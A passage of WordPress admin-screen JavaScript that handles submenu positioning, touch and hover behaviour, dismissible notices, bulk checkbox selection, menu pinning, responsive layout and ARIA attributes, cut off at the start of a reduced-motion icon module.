		maxtop = menutop - wintop - 30; // max = make the top of the sub almost touch admin bar.

		bottomOffset = menutop + $submenu.height() + 1; // Bottom offset of the menu.
		pageHeight = $wpwrap.height();                  // Height of the entire page.
		adjustment = 60 + bottomOffset - pageHeight;
		theFold = $window.height() + wintop - 50;       // The fold.

		if ( theFold < ( bottomOffset - adjustment ) ) {
			adjustment = bottomOffset - theFold;
		}

		if ( adjustment > maxtop ) {
			adjustment = maxtop;
		}

		if ( adjustment > 1 && $('#wp-admin-bar-menu-toggle').is(':hidden') ) {
			$submenu.css( 'margin-top', '-' + adjustment + 'px' );
		} else {
			$submenu.css( 'margin-top', '' );
		}
	}

	if ( 'ontouchstart' in window || /IEMobile\/[1-9]/.test(navigator.userAgent) ) { // Touch screen device.
		// iOS Safari works with touchstart, the rest work with click.
		mobileEvent = isIOS ? 'touchstart' : 'click';

		/**
		 * Closes any open submenus when touch/click is not on the menu.
		 *
		 * @param {Event} e The event object.
		 *
		 * @return {void}
		 */
		$body.on( mobileEvent+'.wp-mobile-hover', function(e) {
			if ( $adminmenu.data('wp-responsive') ) {
				return;
			}

			if ( ! $( e.target ).closest( '#adminmenu' ).length ) {
				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
			}
		});

		/**
		 * Handles the opening or closing the submenu based on the mobile click|touch event.
		 *
		 * @param {Event} event The event object.
		 *
		 * @return {void}
		 */
		$adminmenu.find( 'a.wp-has-submenu' ).on( mobileEvent + '.wp-mobile-hover', function( event ) {
			var $menuItem = $(this).parent();

			if ( $adminmenu.data( 'wp-responsive' ) ) {
				return;
			}

			/*
			 * Show the sub instead of following the link if:
			 * 	- the submenu is not open.
			 * 	- the submenu is not shown inline or the menu is not folded.
			 */
			if ( ! $menuItem.hasClass( 'opensub' ) && ( ! $menuItem.hasClass( 'wp-menu-open' ) || $menuItem.width() < 40 ) ) {
				event.preventDefault();
				adjustSubmenu( $menuItem );
				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
				$menuItem.addClass('opensub');
			}
		});
	}

	if ( ! isIOS && ! isAndroid ) {
		$adminmenu.find( 'li.wp-has-submenu' ).hoverIntent({

			/**
			 * Opens the submenu when hovered over the menu item for desktops.
			 *
			 * @return {void}
			 */
			over: function() {
				var $menuItem = $( this ),
					$submenu = $menuItem.find( '.wp-submenu' ),
					top = parseInt( $submenu.css( 'top' ), 10 );

				if ( isNaN( top ) || top > -5 ) { // The submenu is visible.
					return;
				}

				if ( $adminmenu.data( 'wp-responsive' ) ) {
					// The menu is in responsive mode, bail.
					return;
				}

				adjustSubmenu( $menuItem );
				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
				$menuItem.addClass( 'opensub' );
			},

			/**
			 * Closes the submenu when no longer hovering the menu item.
			 *
			 * @return {void}
			 */
			out: function(){
				if ( $adminmenu.data( 'wp-responsive' ) ) {
					// The menu is in responsive mode, bail.
					return;
				}

				$( this ).removeClass( 'opensub' ).find( '.wp-submenu' ).css( 'margin-top', '' );
			},
			timeout: 200,
			sensitivity: 7,
			interval: 90
		});

		/**
		 * Opens the submenu on when focused on the menu item.
		 *
		 * @param {Event} event The event object.
		 *
		 * @return {void}
		 */
		$adminmenu.on( 'focus.adminmenu', '.wp-submenu a', function( event ) {
			if ( $adminmenu.data( 'wp-responsive' ) ) {
				// The menu is in responsive mode, bail.
				return;
			}

			$( event.target ).closest( 'li.menu-top' ).addClass( 'opensub' );

			/**
			 * Closes the submenu on blur from the menu item.
			 *
			 * @param {Event} event The event object.
			 *
			 * @return {void}
			 */
		}).on( 'blur.adminmenu', '.wp-submenu a', function( event ) {
			if ( $adminmenu.data( 'wp-responsive' ) ) {
				return;
			}

			$( event.target ).closest( 'li.menu-top' ).removeClass( 'opensub' );

			/**
			 * Adjusts the size for the submenu.
			 *
			 * @return {void}
			 */
		}).find( 'li.wp-has-submenu.wp-not-current-submenu' ).on( 'focusin.adminmenu', function() {
			adjustSubmenu( $( this ) );
		});
	}

	/*
	 * The `.below-h2` class is here just for backward compatibility with plugins
	 * that are (incorrectly) using it. Do not use. Use `.inline` instead. See #34570.
	 * If '.wp-header-end' is found, append the notices after it otherwise
	 * after the first h1 or h2 heading found within the main content.
	 */
	if ( ! $headerEnd.length ) {
		$headerEnd = $( '.wrap h1, .wrap h2' ).first();
	}
	$( 'div.updated, div.error, div.notice' ).not( '.inline, .below-h2' ).insertAfter( $headerEnd );

	/**
	 * Makes notices dismissible.
	 *
	 * @since 4.4.0
	 *
	 * @return {void}
	 */
	function makeNoticesDismissible() {
		$( '.notice.is-dismissible' ).each( function() {
			var $el = $( this ),
				$button = $( '<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>' );

			if ( $el.find( '.notice-dismiss' ).length ) {
				return;
			}

			// Ensure plain text.
			$button.find( '.screen-reader-text' ).text( __( 'Dismiss this notice.' ) );
			$button.on( 'click.wp-dismiss-notice', function( event ) {
				event.preventDefault();
				$el.fadeTo( 100, 0, function() {
					$el.slideUp( 100, function() {
						$el.remove();
					});
				});
			});

			$el.append( $button );
		});
	}

	$document.on( 'wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error', makeNoticesDismissible );

	// Init screen meta.
	screenMeta.init();

	/**
	 * Checks a checkbox.
	 *
	 * This event needs to be delegated. Ticket #37973.
	 *
	 * @return {boolean} Returns whether a checkbox is checked or not.
	 */
	$body.on( 'click', 'tbody > tr > .check-column :checkbox', function( event ) {
		// Shift click to select a range of checkboxes.
		if ( 'undefined' == event.shiftKey ) { return true; }
		if ( event.shiftKey ) {
			if ( !lastClicked ) { return true; }
			checks = $( lastClicked ).closest( 'form' ).find( ':checkbox' ).filter( ':visible:enabled' );
			first = checks.index( lastClicked );
			last = checks.index( this );
			checked = $(this).prop('checked');
			if ( 0 < first && 0 < last && first != last ) {
				sliced = ( last > first ) ? checks.slice( first, last ) : checks.slice( last, first );
				sliced.prop( 'checked', function() {
					if ( $(this).closest('tr').is(':visible') )
						return checked;

					return false;
				});
			}
		}
		lastClicked = this;

		// Toggle the "Select all" checkboxes depending if the other ones are all checked or not.
		var unchecked = $(this).closest('tbody').find('tr.iedit').find(':checkbox').filter(':visible:enabled').not(':checked');

		/**
		 * Determines if all checkboxes are checked.
		 *
		 * @return {boolean} Returns true if there are no unchecked checkboxes.
		 */
		$(this).closest('table').children('thead, tfoot').find(':checkbox').prop('checked', function() {
			return ( 0 === unchecked.length );
		});

		return true;
	});

	/**
	 * Controls all the toggles on bulk toggle change.
	 *
	 * When the bulk checkbox is changed, all the checkboxes in the tables are changed accordingly.
	 * When the shift-button is pressed while changing the bulk checkbox the checkboxes in the table are inverted.
	 *
	 * This event needs to be delegated. Ticket #37973.
	 *
	 * @param {Event} event The event object.
	 *
	 * @return {boolean}
	 */
	$body.on( 'click.wp-toggle-checkboxes', 'thead .check-column :checkbox, tfoot .check-column :checkbox', function( event ) {
		var $this = $(this),
			$table = $this.closest( 'table' ),
			controlChecked = $this.prop('checked'),
			toggle = event.shiftKey || $this.data('wp-toggle');

		$table.children( 'tbody' ).filter(':visible')
			.children().children('.check-column').find(':checkbox')
			/**
			 * Updates the checked state on the checkbox in the table.
			 *
			 * @return {boolean} True checks the checkbox, False unchecks the checkbox.
			 */
			.prop('checked', function() {
				if ( $(this).is(':hidden,:disabled') ) {
					return false;
				}

				if ( toggle ) {
					return ! $(this).prop( 'checked' );
				} else if ( controlChecked ) {
					return true;
				}

				return false;
			});

		$table.children('thead,  tfoot').filter(':visible')
			.children().children('.check-column').find(':checkbox')

			/**
			 * Syncs the bulk checkboxes on the top and bottom of the table.
			 *
			 * @return {boolean} True checks the checkbox, False unchecks the checkbox.
			 */
			.prop('checked', function() {
				if ( toggle ) {
					return false;
				} else if ( controlChecked ) {
					return true;
				}

				return false;
			});
	});

	/**
	 * Marries a secondary control to its primary control.
	 *
	 * @param {jQuery} topSelector    The top selector element.
	 * @param {jQuery} topSubmit      The top submit element.
	 * @param {jQuery} bottomSelector The bottom selector element.
	 * @param {jQuery} bottomSubmit   The bottom submit element.
	 * @return {void}
	 */
	function marryControls( topSelector, topSubmit, bottomSelector, bottomSubmit ) {
		/**
		 * Updates the primary selector when the secondary selector is changed.
		 *
		 * @since 5.7.0
		 *
		 * @return {void}
		 */
		function updateTopSelector() {
			topSelector.val($(this).val());
		}
		bottomSelector.on('change', updateTopSelector);

		/**
		 * Updates the secondary selector when the primary selector is changed.
		 *
		 * @since 5.7.0
		 *
		 * @return {void}
		 */
		function updateBottomSelector() {
			bottomSelector.val($(this).val());
		}
		topSelector.on('change', updateBottomSelector);

		/**
		 * Triggers the primary submit when then secondary submit is clicked.
		 *
		 * @since 5.7.0
		 *
		 * @return {void}
		 */
		function triggerSubmitClick(e) {
			e.preventDefault();
			e.stopPropagation();

			topSubmit.trigger('click');
		}
		bottomSubmit.on('click', triggerSubmitClick);
	}

	// Marry the secondary "Bulk actions" controls to the primary controls:
	marryControls( $('#bulk-action-selector-top'), $('#doaction'), $('#bulk-action-selector-bottom'), $('#doaction2') );

	// Marry the secondary "Change role to" controls to the primary controls:
	marryControls( $('#new_role'), $('#changeit'), $('#new_role2'), $('#changeit2') );

	/**
	 * Shows row actions on focus of its parent container element or any other elements contained within.
	 *
	 * @return {void}
	 */
	$( '#wpbody-content' ).on({
		focusin: function() {
			clearTimeout( transitionTimeout );
			focusedRowActions = $( this ).find( '.row-actions' );
			// transitionTimeout is necessary for Firefox, but Chrome won't remove the CSS class without a little help.
			$( '.row-actions' ).not( this ).removeClass( 'visible' );
			focusedRowActions.addClass( 'visible' );
		},
		focusout: function() {
			// Tabbing between post title and .row-actions links needs a brief pause, otherwise
			// the .row-actions div gets hidden in transit in some browsers (ahem, Firefox).
			transitionTimeout = setTimeout( function() {
				focusedRowActions.removeClass( 'visible' );
			}, 30 );
		}
	}, '.table-view-list .has-row-actions' );

	// Toggle list table rows on small screens.
	$( 'tbody' ).on( 'click', '.toggle-row', function() {
		$( this ).closest( 'tr' ).toggleClass( 'is-expanded' );
	});

	$('#default-password-nag-no').on( 'click', function() {
		setUserSetting('default_password_nag', 'hide');
		$('div.default-password-nag').hide();
		return false;
	});

	/**
	 * Handles tab keypresses in theme and plugin file editor textareas.
	 *
	 * @param {Event} e The event object.
	 *
	 * @return {void}
	 */
	$('#newcontent').on('keydown.wpevent_InsertTab', function(e) {
		var el = e.target, selStart, selEnd, val, scroll, sel;

		// After pressing escape key (keyCode: 27), the tab key should tab out of the textarea.
		if ( e.keyCode == 27 ) {
			// When pressing Escape: Opera 12 and 27 blur form fields, IE 8 clears them.
			e.preventDefault();
			$(el).data('tab-out', true);
			return;
		}

		// Only listen for plain tab key (keyCode: 9) without any modifiers.
		if ( e.keyCode != 9 || e.ctrlKey || e.altKey || e.shiftKey )
			return;

		// After tabbing out, reset it so next time the tab key can be used again.
		if ( $(el).data('tab-out') ) {
			$(el).data('tab-out', false);
			return;
		}

		selStart = el.selectionStart;
		selEnd = el.selectionEnd;
		val = el.value;

		// If any text is selected, replace the selection with a tab character.
		if ( document.selection ) {
			el.focus();
			sel = document.selection.createRange();
			sel.text = '\t';
		} else if ( selStart >= 0 ) {
			scroll = this.scrollTop;
			el.value = val.substring(0, selStart).concat('\t', val.substring(selEnd) );
			el.selectionStart = el.selectionEnd = selStart + 1;
			this.scrollTop = scroll;
		}

		// Cancel the regular tab functionality, to prevent losing focus of the textarea.
		if ( e.stopPropagation )
			e.stopPropagation();
		if ( e.preventDefault )
			e.preventDefault();
	});

	// Reset page number variable for new filters/searches but not for bulk actions. See #17685.
	if ( pageInput.length ) {

		/**
		 * Handles pagination variable when filtering the list table.
		 *
		 * Set the pagination argument to the first page when the post-filter form is submitted.
		 * This happens when pressing the 'filter' button on the list table page.
		 *
		 * The pagination argument should not be touched when the bulk action dropdowns are set to do anything.
		 *
		 * The form closest to the pageInput is the post-filter form.
		 *
		 * @return {void}
		 */
		pageInput.closest('form').on( 'submit', function() {
			/*
			 * action = bulk action dropdown at the top of the table
			 */
			if ( $('select[name="action"]').val() == -1 && pageInput.val() == currentPage )
				pageInput.val('1');
		});
	}

	/**
	 * Resets the bulk actions when the search button is clicked.
	 *
	 * @return {void}
	 */
	$('.search-box input[type="search"], .search-box input[type="submit"]').on( 'mousedown', function () {
		$('select[name^="action"]').val('-1');
	});

	/**
	 * Scrolls into view when focus.scroll-into-view is triggered.
	 *
	 * @param {Event} e The event object.
	 *
	 * @return {void}
 	 */
	$('#contextual-help-link, #show-settings-link').on( 'focus.scroll-into-view', function(e){
		if ( e.target.scrollIntoViewIfNeeded )
			e.target.scrollIntoViewIfNeeded(false);
	});

	/**
	 * Disables the submit upload buttons when no data is entered.
	 *
	 * @return {void}
	 */
	(function(){
		var button, input, form = $('form.wp-upload-form');

		// Exit when no upload form is found.
		if ( ! form.length )
			return;

		button = form.find('input[type="submit"]');
		input = form.find('input[type="file"]');

		/**
		 * Determines if any data is entered in any file upload input.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		function toggleUploadButton() {
			// When no inputs have a value, disable the upload buttons.
			button.prop('disabled', '' === input.map( function() {
				return $(this).val();
			}).get().join(''));
		}

		// Update the status initially.
		toggleUploadButton();
		// Update the status when any file input changes.
		input.on('change', toggleUploadButton);
	})();

	/**
	 * Pins the menu while distraction-free writing is enabled.
	 *
	 * @param {Event} event Event data.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function pinMenu( event ) {
		var windowPos = $window.scrollTop(),
			resizing = ! event || event.type !== 'scroll';

		if ( isIOS || $adminmenu.data( 'wp-responsive' ) ) {
			return;
		}

		/*
		 * When the menu is higher than the window and smaller than the entire page.
		 * It should be adjusted to be able to see the entire menu.
		 *
		 * Otherwise it can be accessed normally.
		 */
		if ( height.menu + height.adminbar < height.window ||
			height.menu + height.adminbar + 20 > height.wpwrap ) {
			unpinMenu();
			return;
		}

		menuIsPinned = true;

		// If the menu is higher than the window, compensate on scroll.
		if ( height.menu + height.adminbar > height.window ) {
			// Check for overscrolling, this happens when swiping up at the top of the document in modern browsers.
			if ( windowPos < 0 ) {
				// Stick the menu to the top.
				if ( ! pinnedMenuTop ) {
					pinnedMenuTop = true;
					pinnedMenuBottom = false;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: ''
					});
				}

				return;
			} else if ( windowPos + height.window > $document.height() - 1 ) {
				// When overscrolling at the bottom, stick the menu to the bottom.
				if ( ! pinnedMenuBottom ) {
					pinnedMenuBottom = true;
					pinnedMenuTop = false;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: 0
					});
				}

				return;
			}

			if ( windowPos > lastScrollPosition ) {
				// When a down scroll has been detected.

				// If it was pinned to the top, unpin and calculate relative scroll.
				if ( pinnedMenuTop ) {
					pinnedMenuTop = false;
					// Calculate new offset position.
					menuTop = $adminMenuWrap.offset().top - height.adminbar - ( windowPos - lastScrollPosition );

					if ( menuTop + height.menu + height.adminbar < windowPos + height.window ) {
						menuTop = windowPos + height.window - height.menu - height.adminbar;
					}

					$adminMenuWrap.css({
						position: 'absolute',
						top: menuTop,
						bottom: ''
					});
				} else if ( ! pinnedMenuBottom && $adminMenuWrap.offset().top + height.menu < windowPos + height.window ) {
					// Pin it to the bottom.
					pinnedMenuBottom = true;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: 0
					});
				}
			} else if ( windowPos < lastScrollPosition ) {
				// When a scroll up is detected.

				// If it was pinned to the bottom, unpin and calculate relative scroll.
				if ( pinnedMenuBottom ) {
					pinnedMenuBottom = false;

					// Calculate new offset position.
					menuTop = $adminMenuWrap.offset().top - height.adminbar + ( lastScrollPosition - windowPos );

					if ( menuTop + height.menu > windowPos + height.window ) {
						menuTop = windowPos;
					}

					$adminMenuWrap.css({
						position: 'absolute',
						top: menuTop,
						bottom: ''
					});
				} else if ( ! pinnedMenuTop && $adminMenuWrap.offset().top >= windowPos + height.adminbar ) {

					// Pin it to the top.
					pinnedMenuTop = true;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: ''
					});
				}
			} else if ( resizing ) {
				// Window is being resized.

				pinnedMenuTop = pinnedMenuBottom = false;

				// Calculate the new offset.
				menuTop = windowPos + height.window - height.menu - height.adminbar - 1;

				if ( menuTop > 0 ) {
					$adminMenuWrap.css({
						position: 'absolute',
						top: menuTop,
						bottom: ''
					});
				} else {
					unpinMenu();
				}
			}
		}

		lastScrollPosition = windowPos;
	}

	/**
	 * Determines the height of certain elements.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function resetHeights() {
		height = {
			window: $window.height(),
			wpwrap: $wpwrap.height(),
			adminbar: $adminbar.height(),
			menu: $adminMenuWrap.height()
		};
	}

	/**
	 * Unpins the menu.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function unpinMenu() {
		if ( isIOS || ! menuIsPinned ) {
			return;
		}

		pinnedMenuTop = pinnedMenuBottom = menuIsPinned = false;
		$adminMenuWrap.css({
			position: '',
			top: '',
			bottom: ''
		});
	}

	/**
	 * Pins and unpins the menu when applicable.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function setPinMenu() {
		resetHeights();

		if ( $adminmenu.data('wp-responsive') ) {
			$body.removeClass( 'sticky-menu' );
			unpinMenu();
		} else if ( height.menu + height.adminbar > height.window ) {
			pinMenu();
			$body.removeClass( 'sticky-menu' );
		} else {
			$body.addClass( 'sticky-menu' );
			unpinMenu();
		}
	}

	if ( ! isIOS ) {
		$window.on( 'scroll.pin-menu', pinMenu );
		$document.on( 'tinymce-editor-init.pin-menu', function( event, editor ) {
			editor.on( 'wp-autoresize', resetHeights );
		});
	}

	/**
	 * Changes the sortables and responsiveness of metaboxes.
	 *
	 * @since 3.8.0
	 *
	 * @return {void}
	 */
	window.wpResponsive = {

		/**
		 * Initializes the wpResponsive object.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		init: function() {
			var self = this;

			this.maybeDisableSortables = this.maybeDisableSortables.bind( this );

			// Modify functionality based on custom activate/deactivate event.
			$document.on( 'wp-responsive-activate.wp-responsive', function() {
				self.activate();
			}).on( 'wp-responsive-deactivate.wp-responsive', function() {
				self.deactivate();
			});

			$( '#wp-admin-bar-menu-toggle a' ).attr( 'aria-expanded', 'false' );

			// Toggle sidebar when toggle is clicked.
			$( '#wp-admin-bar-menu-toggle' ).on( 'click.wp-responsive', function( event ) {
				event.preventDefault();

				// Close any open toolbar submenus.
				$adminbar.find( '.hover' ).removeClass( 'hover' );

				$wpwrap.toggleClass( 'wp-responsive-open' );
				if ( $wpwrap.hasClass( 'wp-responsive-open' ) ) {
					$(this).find('a').attr( 'aria-expanded', 'true' );
					$( '#adminmenu a:first' ).trigger( 'focus' );
				} else {
					$(this).find('a').attr( 'aria-expanded', 'false' );
				}
			} );

			// Close sidebar when target moves outside of toggle and sidebar.
			$( document ).on( 'click', function( event ) {
				if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) || ! document.hasFocus() ) {
					return;
				}

				var focusIsInToggle  = $.contains( $( '#wp-admin-bar-menu-toggle' )[0], event.target );
				var focusIsInSidebar = $.contains( $( '#adminmenuwrap' )[0], event.target );

				if ( ! focusIsInToggle && ! focusIsInSidebar ) {
					$( '#wp-admin-bar-menu-toggle' ).trigger( 'click.wp-responsive' );
				}
			} );

			// Close sidebar when a keypress completes outside of toggle and sidebar.
			$( document ).on( 'keyup', function( event ) {
				var toggleButton   = $( '#wp-admin-bar-menu-toggle' )[0];
				if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) ) {
				    return;
				}
				if ( 27 === event.keyCode ) {
					$( toggleButton ).trigger( 'click.wp-responsive' );
					$( toggleButton ).find( 'a' ).trigger( 'focus' );
				} else {
					if ( 9 === event.keyCode ) {
						var sidebar        = $( '#adminmenuwrap' )[0];
						var focusedElement = event.relatedTarget || document.activeElement;
						// A brief delay is required to allow focus to switch to another element.
						setTimeout( function() {
							var focusIsInToggle  = $.contains( toggleButton, focusedElement );
							var focusIsInSidebar = $.contains( sidebar, focusedElement );
							
							if ( ! focusIsInToggle && ! focusIsInSidebar ) {
								$( toggleButton ).trigger( 'click.wp-responsive' );
							}
						}, 10 );
					}
				}
			});

			// Add menu events.
			$adminmenu.on( 'click.wp-responsive', 'li.wp-has-submenu > a', function( event ) {
				if ( ! $adminmenu.data('wp-responsive') ) {
					return;
				}

				$( this ).parent( 'li' ).toggleClass( 'selected' );
				$( this ).trigger( 'focus' );
				event.preventDefault();
			});

			self.trigger();
			$document.on( 'wp-window-resized.wp-responsive', this.trigger.bind( this ) );

			// This needs to run later as UI Sortable may be initialized when the document is ready.
			$window.on( 'load.wp-responsive', this.maybeDisableSortables );
			$document.on( 'postbox-toggled', this.maybeDisableSortables );

			// When the screen columns are changed, potentially disable sortables.
			$( '#screen-options-wrap input' ).on( 'click', this.maybeDisableSortables );
		},

		/**
		 * Disable sortables if there is only one metabox, or the screen is in one column mode. Otherwise, enable sortables.
		 *
		 * @since 5.3.0
		 *
		 * @return {void}
		 */
		maybeDisableSortables: function() {
			var width = navigator.userAgent.indexOf('AppleWebKit/') > -1 ? $window.width() : window.innerWidth;

			if (
				( width <= 782 ) ||
				( 1 >= $sortables.find( '.ui-sortable-handle:visible' ).length && jQuery( '.columns-prefs-1 input' ).prop( 'checked' ) )
			) {
				this.disableSortables();
			} else {
				this.enableSortables();
			}
		},

		/**
		 * Changes properties of body and admin menu.
		 *
		 * Pins and unpins the menu and adds the auto-fold class to the body.
		 * Makes the admin menu responsive and disables the metabox sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		activate: function() {
			setPinMenu();

			if ( ! $body.hasClass( 'auto-fold' ) ) {
				$body.addClass( 'auto-fold' );
			}

			$adminmenu.data( 'wp-responsive', 1 );
			this.disableSortables();
		},

		/**
		 * Changes properties of admin menu and enables metabox sortables.
		 *
		 * Pin and unpin the menu.
		 * Removes the responsiveness of the admin menu and enables the metabox sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		deactivate: function() {
			setPinMenu();
			$adminmenu.removeData('wp-responsive');

			this.maybeDisableSortables();
		},

		/**
		 * Sets the responsiveness and enables the overlay based on the viewport width.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		trigger: function() {
			var viewportWidth = getViewportWidth();

			// Exclude IE < 9, it doesn't support @media CSS rules.
			if ( ! viewportWidth ) {
				return;
			}

			if ( viewportWidth <= 782 ) {
				if ( ! wpResponsiveActive ) {
					$document.trigger( 'wp-responsive-activate' );
					wpResponsiveActive = true;
				}
			} else {
				if ( wpResponsiveActive ) {
					$document.trigger( 'wp-responsive-deactivate' );
					wpResponsiveActive = false;
				}
			}

			if ( viewportWidth <= 480 ) {
				this.enableOverlay();
			} else {
				this.disableOverlay();
			}

			this.maybeDisableSortables();
		},

		/**
		 * Inserts a responsive overlay and toggles the window.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		enableOverlay: function() {
			if ( $overlay.length === 0 ) {
				$overlay = $( '<div id="wp-responsive-overlay"></div>' )
					.insertAfter( '#wpcontent' )
					.hide()
					.on( 'click.wp-responsive', function() {
						$toolbar.find( '.menupop.hover' ).removeClass( 'hover' );
						$( this ).hide();
					});
			}

			$toolbarPopups.on( 'click.wp-responsive', function() {
				$overlay.show();
			});
		},

		/**
		 * Disables the responsive overlay and removes the overlay.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		disableOverlay: function() {
			$toolbarPopups.off( 'click.wp-responsive' );
			$overlay.hide();
		},

		/**
		 * Disables sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		disableSortables: function() {
			if ( $sortables.length ) {
				try {
					$sortables.sortable( 'disable' );
					$sortables.find( '.ui-sortable-handle' ).addClass( 'is-non-sortable' );
				} catch ( e ) {}
			}
		},

		/**
		 * Enables sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		enableSortables: function() {
			if ( $sortables.length ) {
				try {
					$sortables.sortable( 'enable' );
					$sortables.find( '.ui-sortable-handle' ).removeClass( 'is-non-sortable' );
				} catch ( e ) {}
			}
		}
	};

	/**
	 * Add an ARIA role `button` to elements that behave like UI controls when JavaScript is on.
	 *
	 * @since 4.5.0
	 *
	 * @return {void}
	 */
	function aria_button_if_js() {
		$( '.aria-button-if-js' ).attr( 'role', 'button' );
	}

	$( document ).on( 'ajaxComplete', function() {
		aria_button_if_js();
	});

	/**
	 * Get the viewport width.
	 *
	 * @since 4.7.0
	 *
	 * @return {number|boolean} The current viewport width or false if the
	 *                          browser doesn't support innerWidth (IE < 9).
	 */
	function getViewportWidth() {
		var viewportWidth = false;

		if ( window.innerWidth ) {
			// On phones, window.innerWidth is affected by zooming.
			viewportWidth = Math.max( window.innerWidth, document.documentElement.clientWidth );
		}

		return viewportWidth;
	}

	/**
	 * Sets the admin menu collapsed/expanded state.
	 *
	 * Sets the global variable `menuState` and triggers a custom event passing
	 * the current menu state.
	 *
	 * @since 4.7.0
	 *
	 * @return {void}
	 */
	function setMenuState() {
		var viewportWidth = getViewportWidth() || 961;

		if ( viewportWidth <= 782  ) {
			menuState = 'responsive';
		} else if ( $body.hasClass( 'folded' ) || ( $body.hasClass( 'auto-fold' ) && viewportWidth <= 960 && viewportWidth > 782 ) ) {
			menuState = 'folded';
		} else {
			menuState = 'open';
		}

		$document.trigger( 'wp-menu-state-set', { state: menuState } );
	}

	// Set the menu state when the window gets resized.
	$document.on( 'wp-window-resized.set-menu-state', setMenuState );

	/**
	 * Sets ARIA attributes on the collapse/expand menu button.
	 *
	 * When the admin menu is open or folded, updates the `aria-expanded` and
	 * `aria-label` attributes of the button to give feedback to assistive
	 * technologies. In the responsive view, the button is always hidden.
	 *
	 * @since 4.7.0
	 *
	 * @return {void}
	 */
	$document.on( 'wp-menu-state-set wp-collapse-menu', function( event, eventData ) {
		var $collapseButton = $( '#collapse-button' ),
			ariaExpanded, ariaLabelText;

		if ( 'folded' === eventData.state ) {
			ariaExpanded = 'false';
			ariaLabelText = __( 'Expand Main menu' );
		} else {
			ariaExpanded = 'true';
			ariaLabelText = __( 'Collapse Main menu' );
		}

		$collapseButton.attr({
			'aria-expanded': ariaExpanded,
			'aria-label': ariaLabelText
		});
	});

	window.wpResponsive.init();
	setPinMenu();
	setMenuState();
	currentMenuItemHasPopup();
	makeNoticesDismissible();
	aria_button_if_js();

	$document.on( 'wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu', setPinMenu );

	// Set initial focus on a specific element.
	$( '.wp-initial-focus' ).trigger( 'focus' );

	// Toggle update details on update-core.php.
	$body.on( 'click', '.js-update-details-toggle', function() {
		var $updateNotice = $( this ).closest( '.js-update-details' ),
			$progressDiv = $( '#' + $updateNotice.data( 'update-details' ) );

		/*
		 * When clicking on "Show details" move the progress div below the update
		 * notice. Make sure it gets moved just the first time.
		 */
		if ( ! $progressDiv.hasClass( 'update-details-moved' ) ) {
			$progressDiv.insertAfter( $updateNotice ).addClass( 'update-details-moved' );
		}

		// Toggle the progress div visibility.
		$progressDiv.toggle();
		// Toggle the Show Details button expanded state.
		$( this ).attr( 'aria-expanded', $progressDiv.is( ':visible' ) );
	});
});

/**
 * Hides the update button for expired plugin or theme uploads.
 *
 * On the "Update plugin/theme from uploaded zip" screen, once the upload has expired,
 * hides the "Replace current with uploaded" button and displays a warning.
 *
 * @since 5.5.0
 */
$( function( $ ) {
	var $overwrite, $warning;

	if ( ! $body.hasClass( 'update-php' ) ) {
		return;
	}

	$overwrite = $( 'a.update-from-upload-overwrite' );
	$warning   = $( '.update-from-upload-expired' );

	if ( ! $overwrite.length || ! $warning.length ) {
		return;
	}

	window.setTimeout(
		function() {
			$overwrite.hide();
			$warning.removeClass( 'hidden' );

			if ( window.wp && window.wp.a11y ) {
				window.wp.a11y.speak( $warning.text() );
			}
		},
		7140000 // 119 minutes. The uploaded file is deleted after 2 hours.
	);
} );

// Fire a custom jQuery event at the end of window resize.
( function() {
	var timeout;

	/**
	 * Triggers the WP window-resize event.
	 *
	 * @since 3.8.0
	 *
	 * @return {void}
	 */
	function triggerEvent() {
		$document.trigger( 'wp-window-resized' );
	}

	/**
	 * Fires the trigger event again after 200 ms.
	 *
	 * @since 3.8.0
	 *
	 * @return {void}
	 */
	function fireOnce() {
		window.clearTimeout( timeout );
		timeout = window.setTimeout( triggerEvent, 200 );
	}

	$window.on( 'resize.wp-fire-once', fireOnce );
}());

// Make Windows 8 devices play along nicely.
(function(){
	if ( '-ms-user-select' in document.documentElement.style && navigator.userAgent.match(/IEMobile\/10\.0/) ) {
		var msViewportStyle = document.createElement( 'style' );
		msViewportStyle.appendChild(
			document.createTextNode( '@-ms-viewport{width:auto!important}' )
		);
		document.getElementsByTagName( 'head' )[0].appendChild( msViewportStyle );
	}
})();

}( jQuery, window ));

/**
 * Freeze animated plugin icons when reduced motion is enabled.
 *
 * When the user has enabled the 'prefers-reduced-motion' setting, this module
 * stops animations for all GIFs on the page with the class 'plugin-icon' or
 * plugin icon images in the update plugins table.
 *
 * @since 6.4.0
 */
(function() {
	// Private variables and methods.
	var priv = {},
		pub = {},
		mediaQuery;

	// Initialize pauseAll to false; it will be set to true if reduced motion is preferred.
	priv.pauseAll = false;
	if ( window.matchMedia ) {
		mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
		if ( ! mediaQuery || mediaQuery.matches ) {
			priv.pauseAll = true;
		}
	}

	// Method to replace animated GIFs with a static frame.
	priv.freezeAnimatedPluginIcons = function( img ) {
		var coverImage = function() {
